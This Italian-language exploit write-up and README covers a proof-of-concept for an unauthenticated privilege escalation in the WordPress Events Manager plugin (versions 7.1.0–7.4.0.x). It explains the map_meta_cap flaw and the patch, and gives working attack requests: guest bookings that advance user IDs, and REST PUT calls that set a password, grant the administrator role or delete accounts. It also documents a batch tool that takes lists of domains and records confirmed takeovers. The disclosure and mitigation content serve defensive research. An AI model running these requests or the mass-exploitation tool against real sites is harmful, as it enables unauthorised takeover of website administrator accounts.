
PoC di escalation dei privilegi senza autenticazione per WordPress Events Manager < 7.4.1; scopre ID di post/utente in collisione ed eleva i target al ruolo di amministratore tramite REST o wp-admin.
| Prodotto | Events Manager (plugin WordPress) |
| Versioni interessate | 7.1.0 – 7.4.0.x |
| Versione corretta | 7.4.1 |
| Debolezza | CWE-269: Gestione impropria dei privilegi |
| Gravità | CVSS 3.1: 9.8 (Critico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Ricercatore originale | Jakub Herman |
| Write-up e PoC | ghostpel |
poc.py).Le versioni di Events Manager dalla 7.1.0 alla 7.4.0.x contengono una vulnerabilità di escalation dei privilegi che consente a un attaccante completamente non autenticato di assumere il controllo di qualsiasi account utente il cui ID collida con l'ID di uno dei post del plugin (event / location / event-recurring / location-recurring). La collisione può essere forzata sui siti con le prenotazioni ospite abilitate (il default): ogni prenotazione ospite crea un account utente reale e fa avanzare di uno il contatore auto-increment di wp_users, consentendo all'attaccante di "camminare" nello spazio degli ID utente fino a raggiungere l'ID di un post event/location.
La causa principale: il filtro map_meta_cap del plugin scarta la lista di capability che WordPress aveva già calcolato ($caps = []) per qualsiasi meta-capability, ogni volta che l'ID dell'oggetto della capability risulta corrispondere a un post event/location — incluse le capability core di WordPress come edit_user, delete_user, promote_user e remove_user. Una lista di capability vuota viene letta come "nessuna capability richiesta" — cioè consentito a tutti, inclusi gli utenti non autenticati.
Conseguenze (tutte non autenticate, tramite la WP REST API): modificare la password di qualsiasi account in collisione, elevarlo a administrator, o eliminarlo.
Versione analizzata: 7.4.0.1 (vulnerabile) — confrontata tramite diff con 7.4.1 (corretta).
| Versione | Stato |
|---|---|
| ≤ 7.0.5 | Non interessata (la em_map_meta_cap legacy gestisce solo le capability proprie di EM) |
| 7.1.0 – 7.4.0.x | (il sistema di archetipi con la difettosa è stato introdotto nella 7.1.0) |
map_meta_cap svuota $capsclasses/em-archetypes.php (versione 7.4.0.1):
Conseguenza: ogni controllo current_user_can('edit_user', X) / delete_user / promote_user / remove_user restituisce TRUE ogni volta che X corrisponde all'ID di un post event/location. Il plugin "scarta le decisioni di controllo degli accessi che WordPress aveva già preso" — esattamente come descritto da WPScan.
Verificata confrontando tramite diff la 7.4.0.1 con la 7.4.1: il reset ora è protetto da una corrispondenza esatta della capability per ciascun ramo (es. && $c['read'][$post->post_type] == $cap), quindi $caps viene svuotata solo quando la capability richiesta è realmente una meta-cap di archetipo. Commento della patch: "Il reset su qualsiasi cap con oggetto svuotava la lista dei requisiti per cap non correlate (es. edit_user, promote_user), che viene letta come allow."
Gli endpoint REST Users (/wp-json/wp/v2/users/{id}) non hanno un gate di login globale — il controllo degli accessi avviene esclusivamente tramite callback di permessi, che passano tutti attraverso lo stesso filtro map_meta_cap:
Effetto collaterale: anche edit_comment è interessata quando un ID commento capita di essere uguale a un ID di post event/location (la tabella wp_comments condivide lo stesso spazio numerico).
La collisione esiste perché wp_users.ID e wp_posts.ID sono sequenze auto-increment indipendenti che inevitabilmente si sovrappongono. Le prenotazioni ospite la rendono forzabile:
em-install.php:896 — dbem_bookings_anonymous = 1: prenotazioni ospite abilitate di default; :871 dbem_bookings_registration_disable = 0 (registrazione abilitata).em-actions.php:340-344 — booking_add è in $booking_nopriv_actions → richiamabile senza login (tramite wp_ajax_nopriv_booking_add, priorità 999999, righe :817-830, o wp_loaded :11).em-actions.php:360-375 — flusso di booking_add: → → → → . (Il nonce è solo una protezione CSRF — il nonce di viene renderizzato nel modulo di prenotazione pubblico, quindi chiunque può ottenerlo.)Catena secondaria osservata durante l'audit (attribuzione della prenotazione tramite person_id) — events-manager.php:430-437 (em_load_event, $EM_Person da $_REQUEST['person_id'] senza login), em-booking.php:1060-1072 (get_person() sovrascrive il person_id di una nuova prenotazione), em-booking.php:2004-2006 (can_manage() = TRUE per una prenotazione senza ID), em-functions.php:448-449 — invariata nella 7.4.1; è un vettore separato (attribuzione errata della prenotazione), non il cuore di questa CVE.
/wp-json/wp/v2/event, o brute force sequenziale degli ID). Supponiamo che il bersaglio sia N.N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N appartiene all'attaccante (la password viene inviata via email all'indirizzo dell'attaccante).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user passano perché get_post(N) risolve a un post event/location → $caps = [].
(Se un — es. un vecchio admin — ha già l'ID in collisione con un ID di post event, il passo 2 non è necessario; l'attaccante prende direttamente il controllo di quell'account.)event/location registrate).poc.pypoc.py è una PoC batch asincrona (asyncio + aiohttp) che, per ogni target: fa il fingerprinting della versione di EM (limitata all'intervallo vulnerabile [7.1, 7.4.1)), scopre gli ID dei post EM raggiungibili dall'esterno (sitemap WP → /locations/, opzionalmente un crawl del modulo di prenotazione), verifica gli ID scoperti per la presenza di un account utente esistente (la condizione di collisione), ed eleva quelli che collidono — tramite il canale REST, o il canale wp-admin quando viene fornita una sessione e REST è bloccato. Nessuna scansione cieca dell'intervallo utenti, nessuna prenotazione ospite, nessuna creazione di account.
Il runner multiplexa tutte le I/O su un singolo event loop (quasi 0% di CPU quando è I/O-bound; -t limita la concorrenza invece dei core), scansiona sul loop solo chunk head limitati di 64 KiB, scarica le parse pesanti (XML della sitemap, bundle delle pagine crawlate, modulo del profilo) su thread worker tramite asyncio.to_thread, e applica il delay di cortesia su ogni tentativo di pagina. La logica di forzatura in sé è invariata (stessi gate, stessi oracoli, stessa verifica).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Requisiti: Python 3.9+, pip install aiohttp.
I risultati vengono scritti in streaming su hasil.txt (takeover confermati) e id-post.txt (ogni dominio vulnerabile in cui sono stati scoperti ID di post EM, con collision=yes/no/unknown).
Nota: questa PoC è stata ricostruita in modo indipendente dall'analisi statica del sorgente 7.4.0.1 e dal diff della patch 7.4.1 — non è la PoC di WPScan.
SOLO TEST DI SICUREZZA AUTORIZZATI. Eseguire esclusivamente contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta. La PoC effettua semplici richieste HTTP — nessuna evasione; potrebbe essere visibile nei log/IDS.
dbem_bookings_anonymous), limita gli endpoint REST degli utenti a livello di WAF e monitora modifiche di password, escalation di ruoli ed eliminazioni di account.map_meta_cap| 7.4.1 | Corretta |
| Riga | Codice | Ruolo |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Filtro globale e incondizionato — viene eseguito per ogni controllo di meta-capability di WordPress, incluse quelle core e quelle per gli utenti non autenticati |
:547 | if ( !empty( $args[0] ) ) { | L'oggetto della capability viene considerato un post ID |
:548 | $post = get_post($args[0]); | Collisione ID: l'ID utente di destinazione (per cap come edit_user) viene trattato come un ID post |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | La lista di capability viene scartata incondizionatamente — anche se la cap richiesta non è una cap di archetipo read/edit/delete_event |
:568/577/584 | rami if/elseif | $caps viene riempita di nuovo solo quando $cap corrisponde esattamente a una meta-cap di archetipo; per edit_user, delete_user, promote_user, remove_user nessun ramo corrisponde → $caps resta vuota |
:597 | return $caps; | Array vuota = "nessuna capability richiesta" = CONSENTITO a chiunque, incluso l'ID utente 0 |
| Azione | Endpoint / funzione core | Capability bypassata |
|---|
| Modifica la password dell'account di destinazione | PUT /wp-json/wp/v2/users/{id} con {"password":"..."} → wp_update_user() (controllo interno edit_user) | edit_user |
| Eleva l'account ad Amministratore | PUT /wp-json/wp/v2/users/{id} con {"roles":["administrator"]} | promote_user |
| Elimina un account | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (controllo interno delete_user) | delete_user |
| (Multisito) rimuove un utente dal blog | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — ramo ospite: em_register_new_user($user_data) con l'email dell'attaccante.em-functions.php:510 — wp_insert_user($user_data) → l'auto-increment di wp_users avanza di 1 per ogni prenotazione ospite → l'attaccante controlla il tasso di crescita del contatore degli ID utente finché non atterra sull'ID del post event/location desiderato (WPScan: "ogni prenotazione ospite crea un account utente reale e fa avanzare di uno il contatore degli ID utente").NDELETE /wp-json/wp/v2/users/M?reassign=N